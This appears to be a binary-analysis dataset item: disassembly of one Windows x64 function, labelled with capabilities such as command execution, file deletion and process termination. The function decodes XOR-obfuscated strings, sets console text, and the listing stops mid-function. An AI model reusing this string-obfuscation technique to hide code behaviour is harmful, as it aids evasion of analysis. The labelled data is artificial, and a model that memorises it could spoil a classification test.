Function at 0x140009b90
Capabilities:
Delete file
Execute command
Get session user name
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x1bf0
call fcn.140060770
sub rsp, rax
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140082180]
xor rax, rsp
mov qword [rbp + 0x1b98], rax
mov dword [rbp + 0xe64], 0x101
lea rdx, [rbp + 0xe64]
lea rcx, [rbp + 0x1a80]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0xd44]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0xd40], 0x114
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
lea rdx, [rbp + 0x1a80]
lea rcx, [rbp + 0xd20]
call fcn.14000fe80
mov r8, rax
movabs rax, 0x36ffe7703fa7916e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x440], rcx
movabs rax, 0xd183490a01f30a74
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x448], rcx
movabs rax, 0xcdcfd50e0864185b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
movabs rax, 0x6990cd048e4c5637
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
movabs rsi, 0x7fa8af505ed2e02f
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x16e0], rax
movabs rbx, 0xb4e5266571a02a30
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x16e8], rax
movabs r15, 0xaaa8ba4228183829
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x16f0], rax
movabs r14, 0x69b0f777cf6c3252
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x16f8], rax
vmovdqu ymm0, ymmword [rbp + 0x16e0]
vpxor ymm0, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x440], ymm0
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0xee8]
vzeroupper
call fcn.140010d10
nop
lea rcx, [rbp + 0xd20]
call fcn.14000fe20
lea rcx, [rbp + 0xee8]
call fcn.14000fdf0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov dword [0x1400898f0], 0x54
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
lea r8, [0x1400898f0]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentConsoleFontEx]
mov dword [0x140089900], 0x320
lea r8, [0x1400898f0]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
mov edx, 4
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5f888f707ef2c025
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0x94c5064551800a10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rax, 0x8a889a6208381809
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rax, 0x4990d757ef4c1272
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
movabs rax, 0x628153cca25037b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0xbb913f81ef01b04b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0x1366fcb1fb5bf61d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x8ac4f593bd125506
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
movabs rax, 0x401a12b7aa9f6c77
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rax, 0x574edc02c04caab8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rax, 0xe977c19a55e98dd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
movabs rax, 0x669e638f0ddd4cfa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
movabs rax, 0xf1191f84a062c6db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rax, 0x8dbb6a79a1e855bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
movabs rax, 0x95beae26f24c1305
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
movabs rax, 0x18a0d9ab516c9b0e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
movabs rax, 0xa5b341209f4f331f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
movabs rax, 0xc55e42c917d16f1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
movabs rax, 0xa761d60e6b37f719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x830], rax
movabs rax, 0x7d337987d3f12ac2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x838], rax
movabs rax, 0x600a9840bd85230c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
movabs rax, 0xb352c712ee00304
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
movabs rax, 0x305c5dbecd696c6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
movabs rax, 0x2db238433eccb416
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
movabs rax, 0x90f692380bc4b247
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0x1057c92dd3728088
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0xced8124a181e4fa1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
movabs rax, 0xde735c2390cdfdca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
movabs rax, 0xd4a6e5f4207cd1ab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x880], rax
movabs rax, 0xa219075c2e1ba8c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x888], rax
movabs rax, 0xe5a96c994abe9695
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x890], rax
movabs rax, 0xb7e57d9b9ee9729e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
movabs rax, 0xdfc6b890b589e86f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
movabs rax, 0xe3de50e59263d870
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
movabs rax, 0xada8f38267289569
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b0], rax
movabs rax, 0x34cafd7713881cd2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b8], rax
movabs rax, 0x57be3decb1110a93
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c0], rax
movabs rax, 0x282bc621d847d768
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c8], rax
movabs rax, 0xf52cb32a53d6ffd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d0], rax
movabs rax, 0x9fa4d5b38e15f966
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d8], rax
movabs rax, 0xecc0d934f593add7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e0], rax
movabs rax, 0x3dd7ab6243196017
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e8], rax
movabs rax, 0xdb1d37905118bdcd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f0], rax
movabs rax, 0x59c0e42f2a183a5a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f8], rax
movabs rax, 0x8701832406ce383b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x900], rax
movabs rax, 0x7364a99993ff011c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x908], rax
movabs rax, 0xb5297ac60255f7e5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x910], rax
movabs rax, 0x6caba33413ebbeee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x918], rax
movabs rax, 0x7de337c0d039167f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x920], rax
movabs rax, 0xa249fb52b4509e4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x928], rax
movabs rax, 0x3b5c10ff4d4d0a25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x930], rax
movabs rax, 0x65ab4028825b6122
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x938], rax
movabs rax, 0x197679dc0b76199c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x940], rax
movabs rax, 0xc56d6091e17c1564
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x948], rax
movabs rax, 0xcc976f5e93cd244d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x950], rax
movabs rax, 0x523ff2e344db7476
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x958], rax
movabs rax, 0x8b33a85893ebd7a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x960], rax
movabs rax, 0x3ed9d8b2cd1a3768
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x968], rax
movabs rax, 0xf29e761633a1aa01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x970], rax
movabs rax, 0xbaf8fc6050f8792a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x978], rax
movabs rax, 0x2e7ec36b62c77374
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x980], rax
movabs rax, 0x50c94836344b3d13
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x988], rax
movabs rax, 0x814062369dbc147a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x990], rax
movabs rax, 0xc44a7947d6ea677e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x998], rax
movabs rax, 0xf1f8cc30460caa4f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9a0], rax
movabs rax, 0x2735430558d9f450
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9a8], rax
movabs rax, 0xdcf8d7220f51c249
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9b0], rax
movabs rax, 0x9bc11417f6e5fcb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9b8], rax
movabs rax, 0x8fd1b0ac89c9cbf3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9c0], rax
movabs rdx, 0xede15c61d67b9954
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x9c8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1400], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1408], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1410], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1418], rax
movabs rdi, 0x3da173ec82701793
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1420], rax
movabs r12, 0x9bb11fa1cf21ef14
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1428], rax
movabs rax, 0x3339a3eea404a93d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1430], rax
movabs r13, 0xaa9baab39d327526
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1438], rax
movabs rax, 0x603a32e8f5bf4c57
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1440], rax
movabs rax, 0x7711835de06c8a98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1448], rax
movabs rax, 0xc957cbba75c9adf1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1450], rax
movabs rax, 0x46be43af2dfd6cda
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1458], rax
movabs rax, 0xd1393fa48042e6fb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1460], rax
movabs rax, 0xad9b4a5981c8759c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1468], rax
movabs rax, 0xb59e8e06d26c3325
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1470], rax
movabs rax, 0x4480f98b7e4cbb2e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1478], rax
movabs rax, 0x85936e00bf6f133f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1480], rax
movabs rax, 0xe57e629537f13040
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1488], rax
movabs rax, 0xdb41f6724b178b39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1490], rax
movabs rax, 0x5d1359a7f38d0ae2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1498], rax
movabs rax, 0x402ab81c9da50323
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14a0], rax
movabs rax, 0x2b150c510eea2324
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14a8], rax
movabs rax, 0x107c7d9eed494c4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14b0], rax
movabs rax, 0xd9218631eec9436
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14b8], rax
movabs rax, 0xb0d6b2182be49267
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c0], rax
movabs rax, 0x3f77e90df352a0a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c8], rax
movabs rax, 0xeef84e6a38406f81
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14d0], rax
movabs rax, 0xa2537c5fb0ed81ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14d8], rax
movabs rax, 0xf4dac5d40000f18b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14e0], rax
movabs rax, 0x7601b009e2c1c6ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14e8], rax
movabs rax, 0xbb894cb66a9eb6b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14f0], rax
movabs rax, 0xbdc55dbbbeb552be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14f8], rax
movabs rax, 0xffe698b095a9c84f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1500], rax
movabs rax, 0xc3fe70c5b243f850
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1508], rax
movabs rax, 0x8d88d3a24708b549
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1510], rax
movabs rax, 0x14eadd5733a83cf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1518], rax
movabs rax, 0x8911dcc9e312ab3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1520], rax
movabs rax, 0x857e6018467f734
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1528], rax
movabs rax, 0x7372eb4e851d13dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1530], rax
movabs rax, 0xbfd8f593f235d946
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1538], rax
movabs rax, 0xcce0f948d5b3d1f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1540], rax
movabs rax, 0x1df7f73d6c394038
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1548], rax
movabs rax, 0xfb3d179a71389d91
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1550], rax
movabs rax, 0x79e0c40f0a381a7a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1558], rax
movabs rax, 0xa721a30426ee181b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1560], rax
movabs rax, 0x534489b9b3df213c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1568], rax
movabs rax, 0x9a095ae62275d7c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1570], rax
movabs rax, 0x4cf4fc6b4cb49ece
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1578], rax
movabs rax, 0x508317e0ac194a5f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1580], rax
movabs rax, 0x8c64d6759470b960
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1588], rax
movabs rax, 0x1b7b3dd22d6d2a59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1590], rax
movabs rax, 0x3a8b6007a27b1d02
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1598], rax
movabs rax, 0x392a59fc542946c3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15a0], rax
movabs rax, 0xe54d40b1c15c1f44
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15a8], rax
movabs rax, 0xecb74f7eb3ed046d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15b0], rax
movabs rax, 0x721fd2c364fb5456
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15b8], rax
movabs rax, 0xab138878b3cbf787
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15c0], rax
movabs rax, 0x1ef687ede23a1748
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15c8], rax
movabs rax, 0xaec1294a13818a21
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15d0], rax
movabs rax, 0xe6a7a33f0fa7250a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15d8], rax
movabs rax, 0x71229f343d982c2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15e0], rax
movabs rax, 0x70e967696b14624c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15e8], rax
movabs rax, 0xa1604216b2e34b55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15f0], rax
movabs rax, 0xe46a591b89b53b5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15f8], rax
movabs rax, 0xd1d8ec10662c8a6f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1600], rax
movabs rax, 0x715632578f9d470
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1608], rax
movabs rax, 0xfcd8f7022f71e269
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1610], rax
movabs rax, 0xbbe13437d6c5dc92
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1618], rax
movabs rax, 0x8fd1b0ac89c9c1d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1620], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1628], rax
vmovdqu ymm0, ymmword [rbp + 0x7a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1400]
vmovdqa ymmword [rbp + 0x7a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x7c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1420]
vmovdqa ymmword [rbp + 0x7c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x7e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1440]
vmovdqa ymmword [rbp + 0x7e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x800]
vpxor ymm1, ymm0, ymmword [rbp + 0x1460]
vmovdqa ymmword [rbp + 0x800], ymm1
vmovdqu ymm0, ymmword [rbp + 0x820]
vpxor ymm1, ymm0, ymmword [rbp + 0x1480]
vmovdqa ymmword [rbp + 0x820], ymm1
vmovdqu ymm0, ymmword [rbp + 0x14a0]
vpxor ymm0, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0x840], ymm0
vmovdqu ymm0, ymmword [rbp + 0x860]
vpxor ymm1, ymm0, ymmword [rbp + 0x14c0]
vmovdqa ymmword [rbp + 0x860], ymm1
vmovdqu ymm0, ymmword [rbp + 0x14e0]
vpxor ymm0, ymm0, ymmword [rbp + 0x880]
vmovdqa ymmword [rbp + 0x880], ymm0
vmovdqu ymm1, ymmword [rbp + 0x1500]
vpxor ymm0, ymm1, ymmword [rbp + 0x8a0]
vmovdqa ymmword [rbp + 0x8a0], ymm0
vmovdqu ymm1, ymmword [rbp + 0x1520]
vpxor ymm0, ymm1, ymmword [rbp + 0x8c0]
vmovdqa ymmword [rbp + 0x8c0], ymm0
vmovdqu ymm1, ymmword [rbp + 0x1540]
vpxor ymm0, ymm1, ymmword [rbp + 0x8e0]
vmovdqa ymmword [rbp + 0x8e0], ymm0
vmovdqu ymm0, ymmword [rbp + 0x900]
vpxor ymm1, ymm0, ymmword [rbp + 0x1560]
vmovdqa ymmword [rbp + 0x900], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1580]
vpxor ymm0, ymm0, ymmword [rbp + 0x920]
vmovdqa ymmword [rbp + 0x920], ymm0
vmovdqu ymm1, ymmword [rbp + 0x15a0]
vpxor ymm0, ymm1, ymmword [rbp + 0x940]
vmovdqa ymmword [rbp + 0x940], ymm0
vmovdqu ymm0, ymmword [rbp + 0x960]
vpxor ymm1, ymm0, ymmword [rbp + 0x15c0]
vmovdqa ymmword [rbp + 0x960], ymm1
vmovdqu ymm0, ymmword [rbp + 0x15e0]
vpxor ymm0, ymm0, ymmword [rbp + 0x980]
vmovdqa ymmword [rbp + 0x980], ymm0
vmovdqu ymm1, ymmword [rbp + 0x1600]
vpxor ymm0, ymm1, ymmword [rbp + 0x9a0]
vmovdqa ymmword [rbp + 0x9a0], ymm0
vmovdqa xmm1, xmmword [rbp + 0x9c0]
vxorps xmm1, xmm1, xmmword [rbp + 0x1620]
vmovdqa xmmword [rbp + 0x9c0], xmm1
lea rdx, [rbp + 0x7a0]
vzeroupper
call fcn.140010b40
mov rcx, rax
lea rdx, [0x14006e61c]
call fcn.140010b40
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
lea rdx, [0x14006e61c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140010b40
lea rdx, [0x14006e61c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5f888f707ef2c00f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0x94c5064551800a10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x8a889a6208381809
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
movabs rax, 0x4990d757ef4c1272
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
movabs rax, 0x1d8153cca25037b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
movabs rax, 0xcc913f81ef01cf34
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
movabs rax, 0x6719c683cb67c558
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
movabs rax, 0xaa9baab39d325549
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1760], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1768], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1770], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1778], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1780], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1788], rax
movabs rax, 0x3339a3eea404a93d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1790], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1798], rax
vmovdqu ymm0, ymmword [rbp + 0x1760]
vpxor ymm0, ymm0, ymmword [rbp + 0x6e0]
vmovdqa ymmword [rbp + 0x6e0], ymm0
vmovdqu ymm1, ymmword [rbp + 0x1780]
vpxor ymm0, ymm1, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x700], ymm0
lea rdx, [rbp + 0x6e0]
vzeroupper
call fcn.140010b40
mov edx, 4
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x10d8fc703fa7916e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0xb4e5266503c54c5f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1010], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1018], rax
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x1010]
movdqa xmmword [rbp + 0x210], xmm0
lea rdx, [rbp + 0x210]
call fcn.140010b40
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af505ed2e025
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1000], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1008], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x1000]
movdqa xmmword [rbp + 0x220], xmm0
lea rdx, [rbp + 0x220]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rbp + 0x20], 3
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc48]
call fcn.140002670
mov rdi, rax
lea rcx, [rbp + 0xc50]
call fcn.140002590
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xe80]
call fcn.140010e40
lea rcx, [rbp + 0x320]
call fcn.140002590
mov rcx, qword [rbp + 0xe80]
mov qword [rbp + 0x30], rcx
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x38]
call fcn.14000ee70
test al, al
jns 0x14000b112
movabs rdi, 0xd6bf94d5e57a42bd
nop dword [rax + rax]
call fcn.140008a50
call fcn.140008ba0
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov r8, rax
mov rax, rdi
imul r8
add rdx, r8
sar rdx, 0x15
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
call fcn.140008c30
mov qword [rbp + 0x350], 0xfa
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0xc58]
call fcn.140010e60
mov rcx, rax
call fcn.1400120d0
call fcn.140008a50
call fcn.140008ba0
lea rcx, [rbp + 0x320]
call fcn.140002590
mov rcx, qword [rbp + 0xe80]
mov qword [rbp + 0x30], rcx
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x38]
call fcn.14000ee70
test al, al
